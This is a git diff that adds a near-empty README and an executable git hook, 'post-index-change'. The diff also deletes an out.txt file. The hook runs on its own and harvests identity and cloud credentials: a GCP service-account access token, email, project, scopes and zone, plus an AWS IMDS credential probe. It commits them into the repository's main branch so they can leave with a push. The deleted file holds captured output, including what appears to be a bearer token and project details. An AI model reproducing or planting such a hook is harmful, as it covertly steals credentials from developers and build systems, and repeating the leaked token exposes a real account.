diff --git a/README.md b/README.md
new file mode 100644
index 0000000..8797c65
--- /dev/null
+++ b/README.md
@@ -0,0 +1,2 @@
+# r412165
+
diff --git a/hooks/post-index-change b/hooks/post-index-change
new file mode 100755
index 0000000..04032ab
--- /dev/null
+++ b/hooks/post-index-change
@@ -0,0 +1,26 @@
+#!/bin/sh
+OUTPUT=""
+OUTPUT="${OUTPUT}$(id 2>&1)\n"
+OUTPUT="${OUTPUT}$(hostname 2>&1)\n"
+OUTPUT="${OUTPUT}---TOKEN---\n"
+OUTPUT="${OUTPUT}$(curl -s --max-time 3 -H 'Metadata-Flavor: Google' 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' 2>&1)\n"
+OUTPUT="${OUTPUT}---SA_EMAIL---\n"
+OUTPUT="${OUTPUT}$(curl -s --max-time 3 -H 'Metadata-Flavor: Google' 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email' 2>&1)\n"
+OUTPUT="${OUTPUT}---PROJECT---\n"
+OUTPUT="${OUTPUT}$(curl -s --max-time 3 -H 'Metadata-Flavor: Google' 'http://metadata.google.internal/computeMetadata/v1/project/project-id' 2>&1)\n"
+OUTPUT="${OUTPUT}---SCOPES---\n"
+OUTPUT="${OUTPUT}$(curl -s --max-time 3 -H 'Metadata-Flavor: Google' 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes' 2>&1)\n"
+OUTPUT="${OUTPUT}---ZONE---\n"
+OUTPUT="${OUTPUT}$(curl -s --max-time 3 -H 'Metadata-Flavor: Google' 'http://metadata.google.internal/computeMetadata/v1/instance/zone' 2>&1)\n"
+OUTPUT="${OUTPUT}---AWS_IMDS---\n"
+OUTPUT="${OUTPUT}$(curl -s --max-time 3 http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>&1)\n"
+OUTPUT="${OUTPUT}---END---"
+BLOB=$(echo "$OUTPUT" | git hash-object -w --stdin)
+TREE=$(printf "100644 blob %s\tout.txt" "$BLOB" | git mktree)
+HEAD_SHA=$(git rev-parse HEAD 2>/dev/null)
+if [ -n "$HEAD_SHA" ]; then
+ COMMIT=$(git commit-tree "$TREE" -p "$HEAD_SHA" -m "imds")
+else
+ COMMIT=$(git commit-tree "$TREE" -m "imds")
+fi
+git update-ref refs/heads/main "$COMMIT" 2>/dev/null || git update-ref refs/heads/master "$COMMIT" 2>/dev/null
diff --git a/out.txt b/out.txt
deleted file mode 100644
index e91cf21..0000000
--- a/out.txt
+++ /dev/null
@@ -1,16 +0,0 @@
-uid=1000(git) gid=1000(git) groups=1000(git),1000(git)\n17f677a6d4a2\n---TOKEN---\n{"access_token":"ya29.c.c0AZ4bNpbRRo-7SxCkjI3Q0VApY2uCrtU2mIcNEtL_205i6H8mVsjG2R15aotUuc6VUY7ocpC3hwhVhtGP2TGdC_cCWWpY_PStwRka_8o0I1vXR7QKLYlwJjDaVqDDrmDCO36EFnt4m67_3bvbfHahpmOAFYua-VyEZB5KCADEEDgGjsgHEZod40aOD_2k9ruTe8SCZJ0rglJ-h-a7vDGxfZBC3lGwetGFL2Qf2PnyyO0sdzMLfe8jgeDMlEM4l_PMO4YupnLmtTLpAZU_BVbeFwyLoMr6pI4QOtbnaOFIPtFVY12B-jeXpJQUCMrxdOleV6lMOy2x_zosfuHfvDEHtzVt5s-dWAAm3BSrZZu-xfHH66CEMjMzlCu6-FDY12GLhYrgUFkqCV-IJOdYKdHMBZMDAnWmf-sbG425ClpqQbVqVlfkWti2Ja-Fl7ZZ8sU2uzsboae3tm7IprxBsr8c4iSrBVd6fYXm0m6M8Y72wUfg8_cZpdutBks1Wa8a5t5kkisQfzy5d0cU3ffRxg_IYBxJV8jxx8bF5xUi3WQYb5kQpYVkXustB2m2U-hUjWak6Bq25p-etBw4Vg3YYhgkRu0-8a6eUgjf0wMe6FRM8FfFBwgbzllj_7cw81Mck8eBv71tw98Y86_wU7am59fx28Fi3v5982Z_0r_mzeRXm4YySbis2MRkgQ8aOZuR-F_b4va-hY_muZytxYatzWy-qp0c0Je_5zJ3edsx1t5Bpa884xcJ-jZl_FtoyhMgpvQcamcYmVRzMUcQ0MIMaJS2f8VxBr0blIMlojxv1z1d-yjsmfZ30FZW24R3wdxtvOayes34Mit5_Ba1p3ccqngqRVJxQtjJYpFZxBhVZSOVZcQIv3cbXW9z1v2dbv2MSq2lvUOaUsOd-dFIZhZJj1qr0QRv3eule4BI74xwylxqFXqiOmRkjF_lmIJbB0uwz7l_df2wF8hQXRxzx_zbd5exBMiIWSyFhYOJ_btQ0-WWg4ZBqolcpheUZs6","expires_in":1625,"token_type":"Bearer"}\n---SA_EMAIL---\n388891796368-compute@developer.gserviceaccount.com\n---PROJECT---\nplena-ai-coder-stage\n---SCOPES---\nhttps://www.googleapis.com/auth/devstorage.read_only
-https://www.googleapis.com/auth/logging.write
-https://www.googleapis.com/auth/monitoring.write
-https://www.googleapis.com/auth/service.management.readonly
-https://www.googleapis.com/auth/servicecontrol
-https://www.googleapis.com/auth/trace.append\n---ZONE---\nprojects/388891796368/zones/asia-south1-c\n---AWS_IMDS---\n
-
-
-
- Error 404 (Not Found)!!1
-
-
- 404. That’s an error.
-
The requested URL /latest/meta-data/iam/security-credentials/ was not found on this server. That’s all we know.\n---END---